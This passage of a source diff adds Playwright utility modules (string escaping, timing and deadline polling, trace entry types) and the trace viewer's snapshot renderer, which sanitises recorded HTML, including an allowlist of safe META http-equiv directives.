if (!fileUrl.startsWith('file://'))
return fileUrl;
let path = decodeURIComponent(fileUrl.slice(7));
if (path.startsWith('/') && /^[a-zA-Z]:/.test(path.slice(1)))
path = path.slice(1);
return path.replace(/\//g, pathSeparator);
}
@@ -0,0 +1,195 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
// NOTE: this function should not be used to escape any selectors.
export function escapeWithQuotes(text: string, char: string = '\'') {
const stringified = JSON.stringify(text);
const escapedText = stringified.substring(1, stringified.length - 1).replace(/\\"/g, '"');
if (char === '\'')
return char + escapedText.replace(/[']/g, '\\\'') + char;
if (char === '"')
return char + escapedText.replace(/["]/g, '\\"') + char;
if (char === '`')
return char + escapedText.replace(/[`]/g, '\\`') + char;
throw new Error('Invalid escape char');
}
export function escapeTemplateString(text: string): string {
return text
.replace(/\\/g, '\\\\')
.replace(/`/g, '\\`')
.replace(/\$\{/g, '\\${');
}
export function isString(obj: any): obj is string {
return typeof obj === 'string' || obj instanceof String;
}
export function toTitleCase(name: string) {
return name.charAt(0).toUpperCase() + name.substring(1);
}
export function toSnakeCase(name: string): string {
// E.g. ignoreHTTPSErrors => ignore_https_errors.
return name.replace(/([a-z0-9])([A-Z])/g, '$1_$2').replace(/([A-Z])([A-Z][a-z])/g, '$1_$2').toLowerCase();
}
export function formatObject(value: any, indent = ' ', mode: 'multiline' | 'oneline' = 'multiline'): string {
if (typeof value === 'string')
return escapeWithQuotes(value, '\'');
if (Array.isArray(value))
return `[${value.map(o => formatObject(o)).join(', ')}]`;
if (typeof value === 'object') {
const keys = Object.keys(value).filter(key => key !== 'timeout' && value[key] !== undefined).sort();
if (!keys.length)
return '{}';
const tokens: string[] = [];
for (const key of keys)
tokens.push(`${key}: ${formatObject(value[key])}`);
if (mode === 'multiline')
return `{\n${tokens.map(t => indent + t).join(`,\n`)}\n}`;
return `{ ${tokens.join(', ')} }`;
}
return String(value);
}
export function formatObjectOrVoid(value: any, indent = ' '): string {
const result = formatObject(value, indent);
return result === '{}' ? '' : result;
}
export function quoteCSSAttributeValue(text: string): string {
return `"${text.replace(/["\\]/g, char => '\\' + char)}"`;
}
let normalizedWhitespaceCache: Map<string, string> | undefined;
export function cacheNormalizedWhitespaces() {
normalizedWhitespaceCache = new Map();
}
export function normalizeWhiteSpace(text: string): string {
let result = normalizedWhitespaceCache?.get(text);
if (result === undefined) {
result = text.replace(/[\u200b\u00ad]/g, '').trim().replace(/\s+/g, ' ');
normalizedWhitespaceCache?.set(text, result);
}
return result;
}
export function normalizeEscapedRegexQuotes(source: string) {
// This function reverses the effect of escapeRegexForSelector below.
// Odd number of backslashes followed by the quote -> remove unneeded backslash.
return source.replace(/(^|[^\\])(\\\\)*\\(['"`])/g, '$1$2$3');
}
function escapeRegexForSelector(re: RegExp): string {
// Unicode mode does not allow "identity character escapes", so we do not escape and
// hope that it does not contain quotes and/or >> signs.
// https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Character_escape
// TODO: rework RE usages in internal selectors away from literal representation to json, e.g. {source,flags}.
if (re.unicode || (re as any).unicodeSets)
return String(re);
// Even number of backslashes followed by the quote -> insert a backslash.
return String(re).replace(/(^|[^\\])(\\\\)*(["'`])/g, '$1$2\\$3').replace(/>>/g, '\\>\\>');
}
export function escapeForTextSelector(text: string | RegExp, exact: boolean): string {
if (typeof text !== 'string')
return escapeRegexForSelector(text);
return `${JSON.stringify(text)}${exact ? 's' : 'i'}`;
}
export function escapeForAttributeSelector(value: string | RegExp, exact: boolean): string {
if (typeof value !== 'string')
return escapeRegexForSelector(value);
// TODO: this should actually be
// cssEscape(value).replace(/\\ /g, ' ')
// However, our attribute selectors do not conform to CSS parsing spec,
// so we escape them differently.
return `"${value.replace(/\\/g, '\\\\').replace(/["]/g, '\\"')}"${exact ? 's' : 'i'}`;
}
export function trimString(input: string, cap: number, suffix: string = ''): string {
if (input.length <= cap)
return input;
const chars = [...input];
if (chars.length > cap)
return chars.slice(0, cap - suffix.length).join('') + suffix;
return chars.join('');
}
export function trimStringWithEllipsis(input: string, cap: number): string {
return trimString(input, cap, '\u2026');
}
export function escapeRegExp(s: string) {
// From https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#escaping
return s.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); // $& means the whole matched string
}
const escaped = { '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', '\'': '&#39;' };
export function escapeHTMLAttribute(s: string): string {
return s.replace(/[&<>"']/ug, char => (escaped as any)[char]);
}
export function escapeHTML(s: string): string {
return s.replace(/[&<]/ug, char => (escaped as any)[char]);
}
export function longestCommonSubstring(s1: string, s2: string): string {
const n = s1.length;
const m = s2.length;
let maxLen = 0;
let endingIndex = 0;
// Initialize a 2D array with zeros
const dp = Array(n + 1)
.fill(null)
.map(() => Array(m + 1).fill(0));
// Build the dp table
for (let i = 1; i <= n; i++) {
for (let j = 1; j <= m; j++) {
if (s1[i - 1] === s2[j - 1]) {
dp[i][j] = dp[i - 1][j - 1] + 1;
if (dp[i][j] > maxLen) {
maxLen = dp[i][j];
endingIndex = i;
}
}
}
}
// Extract the longest common substring
return s1.slice(endingIndex - maxLen, endingIndex);
}
export function parseRegex(regex: string): RegExp {
if (regex[0] !== '/')
throw new Error(`Invalid regex, must start with '/': ${regex}`);
const lastSlash = regex.lastIndexOf('/');
if (lastSlash <= 0)
throw new Error(`Invalid regex, must end with '/' followed by optional flags: ${regex}`);
const source = regex.slice(1, lastSlash);
const flags = regex.slice(lastSlash + 1);
return new RegExp(source, flags);
}
export const ansiRegex = new RegExp('([\\u001B\\u009B][[\\]()#;?]*(?:(?:(?:[a-zA-Z\\d]*(?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*)?\\u0007)|(?:(?:\\d{1,4}(?:;\\d{0,4})*)?[\\dA-PR-TZcf-ntqry=><~])))', 'g');
export function stripAnsiEscapes(str: string): string {
return str.replace(ansiRegex, '');
}
@@ -0,0 +1,40 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
// Hopefully, this file is never used in injected sources,
// because it does not use `builtins.performance`,
// and can break when clock emulation is engaged.
/* eslint-disable no-restricted-globals */
let _timeOrigin = performance.timeOrigin;
let _timeShift = 0;
export function setTimeOrigin(origin: number) {
_timeOrigin = origin;
_timeShift = performance.timeOrigin - origin;
}
export function timeOrigin(): number {
return _timeOrigin;
}
export function monotonicTime(): number {
return Math.floor((performance.now() + _timeShift) * 1000) / 1000;
}
export const DEFAULT_PLAYWRIGHT_TIMEOUT = 30_000;
export const DEFAULT_PLAYWRIGHT_LAUNCH_TIMEOUT = 3 * 60 * 1000; // 3 minutes
@@ -0,0 +1,61 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
// Hopefully, this file is never used in injected sources,
// because it does not use `builtins.setTimeout` and similar,
// and can break when clock emulation is engaged.
/* eslint-disable no-restricted-globals */
import { monotonicTime } from './time';
export async function raceAgainstDeadline<T>(cb: () => Promise<T>, deadline: number): Promise<{ result: T, timedOut: false } | { timedOut: true }> {
let timer: NodeJS.Timeout | undefined;
return Promise.race([
cb().then(result => {
return { result, timedOut: false };
}),
new Promise<{ timedOut: true }>(resolve => {
if (!deadline)
return;
timer = setTimeout(() => resolve({ timedOut: true }), deadline - monotonicTime());
}),
]).finally(() => {
clearTimeout(timer);
});
}
export async function pollAgainstDeadline<T>(callback: () => Promise<{ continuePolling: boolean, result: T }>, deadline: number, pollIntervals: number[] = [100, 250, 500, 1000]): Promise<{ result?: T, timedOut: boolean }> {
const lastPollInterval = pollIntervals.pop() ?? 1000;
let lastResult: T|undefined;
const wrappedCallback = () => Promise.resolve().then(callback);
while (true) {
const time = monotonicTime();
if (deadline && time >= deadline)
break;
const received = await raceAgainstDeadline(wrappedCallback, deadline);
if (received.timedOut)
break;
lastResult = (received as any).result.result;
if (!(received as any).result.continuePolling)
return { result: lastResult, timedOut: false };
const interval = pollIntervals!.shift() ?? lastPollInterval;
if (deadline && deadline <= monotonicTime() + interval)
break;
await new Promise(x => setTimeout(x, interval));
}
return { timedOut: true, result: lastResult };
}
@@ -0,0 +1,60 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import type { Language } from '../locatorGenerators';
import type { ResourceSnapshot } from '@trace/snapshot';
import type * as trace from '@trace/trace';
// *Entry structures are used to pass the trace between the sw and the page.
export type ContextEntry = {
origin: 'testRunner'|'library';
startTime: number;
endTime: number;
browserName: string;
channel?: string;
platform?: string;
playwrightVersion?: string;
wallTime: number;
sdkLanguage?: Language;
testIdAttributeName?: string;
title?: string;
options: trace.BrowserContextEventOptions;
pages: PageEntry[];
resources: ResourceSnapshot[];
actions: ActionEntry[];
events: (trace.EventTraceEvent | trace.ConsoleMessageTraceEvent)[];
stdio: trace.StdioTraceEvent[];
errors: trace.ErrorTraceEvent[];
hasSource: boolean;
contextId: string;
testTimeout?: number;
};
export type PageEntry = {
pageId: string,
screencastFrames: {
sha1: string,
timestamp: number,
frameSwapWallTime?: number,
width: number,
height: number,
}[];
};
export type ActionEntry = trace.ActionTraceEvent & {
log: { time: number, message: string }[];
};
@@ -0,0 +1,646 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import { escapeHTMLAttribute, escapeHTML } from '../stringUtils';
import type { FrameSnapshot, NodeNameAttributesChildNodesSnapshot, NodeSnapshot, RenderedFrameSnapshot, ResourceSnapshot, SubtreeReferenceSnapshot } from '@trace/snapshot';
import type { PageEntry } from './entries';
import type { LRUCache } from '../lruCache';
function findClosest<T>(items: T[], metric: (v: T) => number, target: number) {
return items.find((item, index) => {
if (index === items.length - 1)
return true;
const next = items[index + 1];
return Math.abs(metric(item) - target) < Math.abs(metric(next) - target);
});
}
function isNodeNameAttributesChildNodesSnapshot(n: NodeSnapshot): n is NodeNameAttributesChildNodesSnapshot {
return Array.isArray(n) && typeof n[0] === 'string';
}
function isSubtreeReferenceSnapshot(n: NodeSnapshot): n is SubtreeReferenceSnapshot {
return Array.isArray(n) && Array.isArray(n[0]);
}
export class SnapshotRenderer {
private _htmlCache: LRUCache<SnapshotRenderer, string>;
private _snapshots: FrameSnapshot[];
private _index: number;
readonly snapshotName: string | undefined;
private _resources: ResourceSnapshot[];
private _snapshot: FrameSnapshot;
private _callId: string;
private _screencastFrames: PageEntry['screencastFrames'];
constructor(htmlCache: LRUCache<SnapshotRenderer, string>, resources: ResourceSnapshot[], snapshots: FrameSnapshot[], screencastFrames: PageEntry['screencastFrames'], index: number) {
this._htmlCache = htmlCache;
this._resources = resources;
this._snapshots = snapshots;
this._index = index;
this._snapshot = snapshots[index];
this._callId = snapshots[index].callId;
this._screencastFrames = screencastFrames;
this.snapshotName = snapshots[index].snapshotName;
}
snapshot(): FrameSnapshot {
return this._snapshots[this._index];
}
viewport(): { width: number, height: number } {
return this._snapshots[this._index].viewport;
}
closestScreenshot(): string | undefined {
const { wallTime, timestamp } = this.snapshot();
const closestFrame = (wallTime && this._screencastFrames[0]?.frameSwapWallTime)
? findClosest(this._screencastFrames, frame => frame.frameSwapWallTime!, wallTime)
: findClosest(this._screencastFrames, frame => frame.timestamp, timestamp);
return closestFrame?.sha1;
}
render(): RenderedFrameSnapshot {
const result: string[] = [];
const visit = (n: NodeSnapshot, snapshotIndex: number, parentTag: string | undefined, parentAttrs: [string, string][] | undefined) => {
// Text node.
if (typeof n === 'string') {
// Best-effort Electron support: rewrite custom protocol in url() links in stylesheets.
// Old snapshotter was sending lower-case.
if (parentTag === 'STYLE' || parentTag === 'style')
result.push(escapeURLsInStyleSheet(rewriteURLsInStyleSheetForCustomProtocol(n)));
else
result.push(escapeHTML(n));
return;
}
if (isSubtreeReferenceSnapshot(n)) {
// Node reference.
const referenceIndex = snapshotIndex - n[0][0];
if (referenceIndex >= 0 && referenceIndex <= snapshotIndex) {
const nodes = snapshotNodes(this._snapshots[referenceIndex]);
const nodeIndex = n[0][1];
if (nodeIndex >= 0 && nodeIndex < nodes.length)
return visit(nodes[nodeIndex], referenceIndex, parentTag, parentAttrs);
}
} else if (isNodeNameAttributesChildNodesSnapshot(n)) {
const [name, nodeAttrs, ...children] = n;
// Element node.
// Note that <noscript> will not be rendered by default in the trace viewer, because
// JS is enabled. So rename it to <x-noscript>.
const nodeName = name === 'NOSCRIPT' ? 'X-NOSCRIPT' : name;
const attrs = Object.entries(nodeAttrs || {});
result.push('<', nodeName);
const kCurrentSrcAttribute = '__playwright_current_src__';
const isFrame = nodeName === 'IFRAME' || nodeName === 'FRAME';
const isAnchor = nodeName === 'A';
const isImg = nodeName === 'IMG';
const isMeta = nodeName === 'META';
const isImgWithCurrentSrc = isImg && attrs.some(a => a[0] === kCurrentSrcAttribute);
const isSourceInsidePictureWithCurrentSrc = nodeName === 'SOURCE' && parentTag === 'PICTURE' && parentAttrs?.some(a => a[0] === kCurrentSrcAttribute);
// For META, only allow a small whitelist of http-equiv directives so a malicious snapshot
// cannot navigate the snapshot iframe via e.g. <meta http-equiv="refresh"> or otherwise
// affect the trace viewer.
const hasUnsafeHttpEquiv = isMeta && attrs.some(a => a[0].toLowerCase() === 'http-equiv' && !kAllowedMetaHttpEquivs.has(a[1].trim().toLowerCase()));
for (const [attr, value] of attrs) {
let attrName = attr;
if (isFrame && attr.toLowerCase() === 'src') {
// Never set relative URLs as <iframe src> - they start fetching frames immediately.
attrName = '__playwright_src__';
}
if (isImg && attr === kCurrentSrcAttribute) {
// Render currentSrc for images, so that trace viewer does not accidentally
// resolve srcset to a different source.
attrName = 'src';
}
if (['src', 'srcset'].includes(attr.toLowerCase()) && (isImgWithCurrentSrc || isSourceInsidePictureWithCurrentSrc)) {
// Disable actual <img src>, <img srcset>, <source src> and <source srcset> if
// we will be using the currentSrc instead.
attrName = '_' + attrName;
}
if (hasUnsafeHttpEquiv && (attr.toLowerCase() === 'http-equiv' || attr.toLowerCase() === 'content')) {
// Neutralize the META directive by renaming the attribute so the browser ignores it.
attrName = '_' + attr;
}
let attrValue = value;
if (!isAnchor && (attr.toLowerCase() === 'href' || attr.toLowerCase() === 'src' || attr === kCurrentSrcAttribute))
attrValue = rewriteURLForCustomProtocol(value);
result.push(' ', attrName, '="', escapeHTMLAttribute(attrValue), '"');
}
result.push('>');
for (const child of children)
visit(child, snapshotIndex, nodeName, attrs);
if (!autoClosing.has(nodeName))
result.push('</', nodeName, '>');
return;
} else {
// Why are we here? Let's not throw, just in case.
return;
}
};
const snapshot = this._snapshot;
const html = this._htmlCache.getOrCompute(this, () => {
visit(snapshot.html, this._index, undefined, undefined);
const prefix = snapshot.doctype ? `<!DOCTYPE ${snapshot.doctype}>` : '';
const html = prefix + [
// Hide the document in order to prevent flickering. We will unhide once script has processed shadow.
'<style>*,*::before,*::after { visibility: hidden }</style>',
`<script>${snapshotScript(this.viewport(), this._callId, this.snapshotName)}</script>`
].join('') + result.join('');
return { value: html, size: html.length };
});
return { html, pageId: snapshot.pageId, frameId: snapshot.frameId, index: this._index };
}
resourceByUrl(url: string, method: string): ResourceSnapshot | undefined {
const snapshot = this._snapshot;
let sameFrameResource: ResourceSnapshot | undefined;
let otherFrameResource: ResourceSnapshot | undefined;
for (const resource of this._resources) {
// Only use resources that received response before the snapshot.
// Note that both snapshot time and request time are taken in the same Node process.
if (typeof resource._monotonicTime === 'number' && resource._monotonicTime >= snapshot.timestamp)
break;
if (resource.response.status === 304) {
// "Not Modified" responses are issued when browser requests the same resource
// multiple times, meanwhile indicating that it has the response cached.
//
// When rendering the snapshot, browser most likely will not have the resource cached,
// so we should respond with the real content instead, picking the last response that
// is not 304.
continue;
}
if (resource.request.url === url && resource.request.method === method) {
// Pick the last resource with matching url - most likely it was used
// at the time of snapshot, not the earlier aborted resource with the same url.
if (resource._frameref === snapshot.frameId)
sameFrameResource = resource;
else
otherFrameResource = resource;
}
}
// First try locating exact resource belonging to this frame,
// then fall back to resource with this URL to account for memory cache.
let result = sameFrameResource ?? otherFrameResource;
if (result && method.toUpperCase() === 'GET') {
// Patch override if necessary.
let override = snapshot.resourceOverrides.find(o => o.url === url);
if (override?.ref) {
// "ref" means use the same content as "ref" snapshots ago.
const index = this._index - override.ref;
if (index >= 0 && index < this._snapshots.length)
override = this._snapshots[index].resourceOverrides.find(o => o.url === url);
}
if (override?.sha1) {
result = {
...result,
response: {
...result.response,
content: {
...result.response.content,
_sha1: override.sha1,
}
},
};
}
}
return result;
}
}
const autoClosing = new Set(['AREA', 'BASE', 'BR', 'COL', 'COMMAND', 'EMBED', 'HR', 'IMG', 'INPUT', 'KEYGEN', 'LINK', 'MENUITEM', 'META', 'PARAM', 'SOURCE', 'TRACK', 'WBR']);
// Whitelist of META http-equiv directives that are safe to render in the trace viewer.
// Notably excludes 'refresh' (auto-navigation), 'set-cookie' and 'content-security-policy'.
const kAllowedMetaHttpEquivs = new Set(['content-type', 'content-language', 'default-style', 'x-ua-compatible']);
function snapshotNodes(snapshot: FrameSnapshot): NodeSnapshot[] {
if (!(snapshot as any)._nodes) {
const nodes: NodeSnapshot[] = [];
const visit = (n: NodeSnapshot) => {
if (typeof n === 'string') {
nodes.push(n);
} else if (isNodeNameAttributesChildNodesSnapshot(n)) {
const [,, ...children] = n;
for (const child of children)
visit(child);
nodes.push(n);
}
};
visit(snapshot.html);
(snapshot as any)._nodes = nodes;
}
return (snapshot as any)._nodes;
}
type ViewportSize = { width: number, height: number };
type BoundingRect = { left: number, top: number, right: number, bottom: number };
type FrameBoundingRectsInfo = {
viewport: ViewportSize;
frames: WeakMap<Element, {
boundingRect: BoundingRect;
scrollLeft: number;
scrollTop: number;
}>;
};
declare global {
interface Window {
__playwright_frame_bounding_rects__: FrameBoundingRectsInfo;
}
}
function snapshotScript(viewport: ViewportSize, ...targetIds: (string | undefined)[]) {
function applyPlaywrightAttributes(blankSnapshotUrl: string, viewport: ViewportSize, ...targetIds: (string | undefined)[]) {
// eslint-disable-next-line no-restricted-globals
const win = window;
const searchParams = new URLSearchParams(win.location.search);
const shouldPopulateCanvasFromScreenshot = searchParams.has('shouldPopulateCanvasFromScreenshot');
const isUnderTest = searchParams.has('isUnderTest');
// info to recursively compute canvas position relative to the top snapshot frame.
// Before rendering each iframe, its parent extracts the '__playwright_canvas_render_info__' attribute
// value and keeps in this variable. It can then remove the attribute and render the element,
// which will eventually trigger the same process inside the iframe recursively.
// When there's a canvas to render, we iterate over its ancestor frames to compute
// its position relative to the top snapshot frame.
const frameBoundingRectsInfo = {
viewport,
frames: new WeakMap(),
};
win['__playwright_frame_bounding_rects__'] = frameBoundingRectsInfo;
const kPointerWarningTitle = 'Recorded click position in absolute coordinates did not' +
' match the center of the clicked element. This is either due to the use of provided offset,' +
' or due to a difference between the test runner and the trace viewer operating systems.';
const scrollTops: Element[] = [];
const scrollLefts: Element[] = [];
const targetElements: Element[] = [];
const canvasElements: HTMLCanvasElement[] = [];
let topSnapshotWindow: Window = win;
while (topSnapshotWindow !== topSnapshotWindow.parent && !topSnapshotWindow.location.pathname.match(/\/page@[a-z0-9]+$/))
topSnapshotWindow = topSnapshotWindow.parent;
const visit = (root: Document | ShadowRoot) => {
// Collect all scrolled elements for later use.
for (const e of root.querySelectorAll(`[__playwright_scroll_top_]`))
scrollTops.push(e);
for (const e of root.querySelectorAll(`[__playwright_scroll_left_]`))
scrollLefts.push(e);
for (const element of root.querySelectorAll(`[__playwright_value_]`)) {
const inputElement = element as HTMLInputElement | HTMLTextAreaElement;
if (inputElement.type !== 'file')
inputElement.value = inputElement.getAttribute('__playwright_value_')!;
element.removeAttribute('__playwright_value_');
}
for (const element of root.querySelectorAll(`[__playwright_checked_]`)) {
(element as HTMLInputElement).checked = element.getAttribute('__playwright_checked_') === 'true';
element.removeAttribute('__playwright_checked_');
}
for (const element of root.querySelectorAll(`[__playwright_selected_]`)) {
(element as HTMLOptionElement).selected = element.getAttribute('__playwright_selected_') === 'true';
element.removeAttribute('__playwright_selected_');
}
for (const element of root.querySelectorAll(`[__playwright_popover_open_]`)) {
try {
(element as HTMLElement).showPopover();
} catch {
}
element.removeAttribute('__playwright_popover_open_');
}
for (const element of root.querySelectorAll(`[__playwright_dialog_open_]`)) {
try {
if (element.getAttribute('__playwright_dialog_open_') === 'modal')
(element as HTMLDialogElement).showModal();
else
(element as HTMLDialogElement).show();
} catch {
}
element.removeAttribute('__playwright_dialog_open_');
}
for (const targetId of targetIds) {
for (const target of root.querySelectorAll(`[__playwright_target__="${targetId}"]`)) {
const style = (target as HTMLElement).style;
style.outline = '2px solid #006ab1';
style.backgroundColor = '#6fa8dc7f';
targetElements.push(target);
}
}
for (const iframe of root.querySelectorAll('iframe, frame')) {
const boundingRectJson = iframe.getAttribute('__playwright_bounding_rect__');
iframe.removeAttribute('__playwright_bounding_rect__');
const boundingRect = boundingRectJson ? JSON.parse(boundingRectJson) : undefined;
if (boundingRect)
frameBoundingRectsInfo.frames.set(iframe, { boundingRect, scrollLeft: 0, scrollTop: 0 });
const src = iframe.getAttribute('__playwright_src__');
if (!src) {
iframe.setAttribute('src', blankSnapshotUrl);
} else {
// Retain query parameters to inherit name=, time=, pointX=, pointY= and other values from parent.
const url = new URL(win.location.href);
// We can be loading iframe from within iframe, reset base to be absolute.
const index = url.pathname.lastIndexOf('/snapshot/');
if (index !== -1)
url.pathname = url.pathname.substring(0, index + 1);
url.pathname += src.substring(1);
iframe.setAttribute('src', url.toString());
}
}
{
const body = root.querySelector(`body[__playwright_custom_elements__]`);
if (body && win.customElements) {
const customElements = (body.getAttribute('__playwright_custom_elements__') || '').split(',');
for (const elementName of customElements)
win.customElements.define(elementName, class extends HTMLElement {});
}
}
for (const element of root.querySelectorAll(`template[__playwright_shadow_root_]`)) {
const template = element as HTMLTemplateElement;
const shadowRoot = template.parentElement!.attachShadow({ mode: 'open' });
shadowRoot.appendChild(template.content);
template.remove();
visit(shadowRoot);
}
for (const element of root.querySelectorAll('a'))
element.addEventListener('click', event => { event.preventDefault(); });
if ('adoptedStyleSheets' in (root as any)) {
const adoptedSheets: CSSStyleSheet[] = [...(root as any).adoptedStyleSheets];
for (const element of root.querySelectorAll(`template[__playwright_style_sheet_]`)) {
const template = element as HTMLTemplateElement;
const sheet = new CSSStyleSheet();
(sheet as any).replaceSync(template.getAttribute('__playwright_style_sheet_'));
adoptedSheets.push(sheet);
}
(root as any).adoptedStyleSheets = adoptedSheets;
}
canvasElements.push(...root.querySelectorAll('canvas'));
};
const onLoad = () => {
win.removeEventListener('load', onLoad);
for (const element of scrollTops) {
element.scrollTop = +element.getAttribute('__playwright_scroll_top_')!;
element.removeAttribute('__playwright_scroll_top_');
if (frameBoundingRectsInfo.frames.has(element))
frameBoundingRectsInfo.frames.get(element)!.scrollTop = element.scrollTop;
}
for (const element of scrollLefts) {
element.scrollLeft = +element.getAttribute('__playwright_scroll_left_')!;
element.removeAttribute('__playwright_scroll_left_');
if (frameBoundingRectsInfo.frames.has(element))
frameBoundingRectsInfo.frames.get(element)!.scrollLeft = element.scrollLeft;
}
win.document.styleSheets[0].disabled = true;
const search = new URL(win.location.href).searchParams;
const isTopFrame = win === topSnapshotWindow;
if (isTopFrame && search.get('pointX') && search.get('pointY')) {
const pointX = +search.get('pointX')!;
const pointY = +search.get('pointY')!;
const pointElement = win.document.createElement('x-pw-pointer');
pointElement.style.position = 'fixed';
pointElement.style.backgroundColor = '#f44336';
pointElement.style.width = '20px';
pointElement.style.height = '20px';
pointElement.style.borderRadius = '10px';
pointElement.style.margin = '-10px 0 0 -10px';
pointElement.style.zIndex = '2147483646';
pointElement.style.display = 'flex';
pointElement.style.alignItems = 'center';
pointElement.style.justifyContent = 'center';
// Sometimes there are layout discrepancies between recording and rendering, e.g. fonts,
// that may place the point at the wrong place. To avoid confusion, we just show the
// point in the middle of the target element.
const target = targetElements[0];
const targetBox = target?.getBoundingClientRect();
const targetCenter = target ? { x: targetBox.left + targetBox.width / 2, y: targetBox.top + targetBox.height / 2 } : null;
pointElement.style.left = (targetCenter?.x ?? pointX) + 'px';
pointElement.style.top = (targetCenter?.y ?? pointY) + 'px';
const isAligned = !targetCenter || (Math.abs(targetCenter.x - pointX) <= 10 && Math.abs(targetCenter.y - pointY) <= 10);
if (!isAligned) {
const warningElement = win.document.createElement('x-pw-pointer-warning');
warningElement.textContent = '⚠';
warningElement.style.fontSize = '19px';
warningElement.style.color = 'white';
warningElement.style.marginTop = '-3.5px';
warningElement.style.userSelect = 'none';
pointElement.appendChild(warningElement);
pointElement.setAttribute('title', kPointerWarningTitle);
}
win.document.documentElement.appendChild(pointElement);
}
if (canvasElements.length > 0) {
function drawCheckerboard(context: CanvasRenderingContext2D, canvas: HTMLCanvasElement) {
function createCheckerboardPattern() {
const pattern = win.document.createElement('canvas');
pattern.width = pattern.width / Math.floor(pattern.width / 24);
pattern.height = pattern.height / Math.floor(pattern.height / 24);
const context = pattern.getContext('2d')!;
context.fillStyle = 'lightgray';
context.fillRect(0, 0, pattern.width, pattern.height);
context.fillStyle = 'white';
context.fillRect(0, 0, pattern.width / 2, pattern.height / 2);
context.fillRect(pattern.width / 2, pattern.height / 2, pattern.width, pattern.height);
return context.createPattern(pattern, 'repeat')!;
}
context.fillStyle = createCheckerboardPattern();
context.fillRect(0, 0, canvas.width, canvas.height);
}
const img = new Image();
img.onload = () => {
for (const canvas of canvasElements) {
const context = canvas.getContext('2d')!;
const boundingRectAttribute = canvas.getAttribute('__playwright_bounding_rect__');
canvas.removeAttribute('__playwright_bounding_rect__');
if (!boundingRectAttribute)
continue;
let boundingRect: { left: number, top: number, right: number, bottom: number };
try {
boundingRect = JSON.parse(boundingRectAttribute);
} catch (e) {
continue;
}
let currWindow: Window = win;
while (currWindow !== topSnapshotWindow) {
const iframe = currWindow.frameElement!;
currWindow = currWindow.parent;
const iframeInfo = currWindow['__playwright_frame_bounding_rects__']?.frames.get(iframe);
if (!iframeInfo?.boundingRect)
break;
const leftOffset = iframeInfo.boundingRect.left - iframeInfo.scrollLeft;
const topOffset = iframeInfo.boundingRect.top - iframeInfo.scrollTop;
boundingRect.left += leftOffset;
boundingRect.top += topOffset;
boundingRect.right += leftOffset;
boundingRect.bottom += topOffset;
}
const { width, height } = topSnapshotWindow['__playwright_frame_bounding_rects__'].viewport;
boundingRect.left = boundingRect.left / width;
boundingRect.top = boundingRect.top / height;
boundingRect.right = boundingRect.right / width;
boundingRect.bottom = boundingRect.bottom / height;
const partiallyUncaptured = boundingRect.right > 1 || boundingRect.bottom > 1;
const fullyUncaptured = boundingRect.left > 1 || boundingRect.top > 1;
if (fullyUncaptured) {
canvas.title = `Playwright couldn't capture canvas contents because it's located outside the viewport.`;
continue;
}
drawCheckerboard(context, canvas);
if (shouldPopulateCanvasFromScreenshot) {
context.drawImage(img, boundingRect.left * img.width, boundingRect.top * img.height, (boundingRect.right - boundingRect.left) * img.width, (boundingRect.bottom - boundingRect.top) * img.height, 0, 0, canvas.width, canvas.height);
if (partiallyUncaptured)
canvas.title = `Playwright couldn't capture full canvas contents because it's located partially outside the viewport.`;
else
canvas.title = `Canvas contents are displayed on a best-effort basis based on viewport screenshots taken during test execution.`;
} else {
canvas.title = 'Canvas content display is disabled.';
}
if (isUnderTest)
// eslint-disable-next-line no-console
console.log(`canvas drawn:`, JSON.stringify([boundingRect.left, boundingRect.top, (boundingRect.right - boundingRect.left), (boundingRect.bottom - boundingRect.top)].map(v => Math.floor(v * 100))));
}
};
img.onerror = () => {
for (const canvas of canvasElements) {
const context = canvas.getContext('2d')!;
drawCheckerboard(context, canvas);
canvas.title = `Playwright couldn't show canvas contents because the screenshot failed to load.`;
}
};
img.src = location.href.replace('/snapshot', '/closest-screenshot');
}
};
const onDOMContentLoaded = () => visit(win.document);
win.addEventListener('load', onLoad);
win.addEventListener('DOMContentLoaded', onDOMContentLoaded);
}
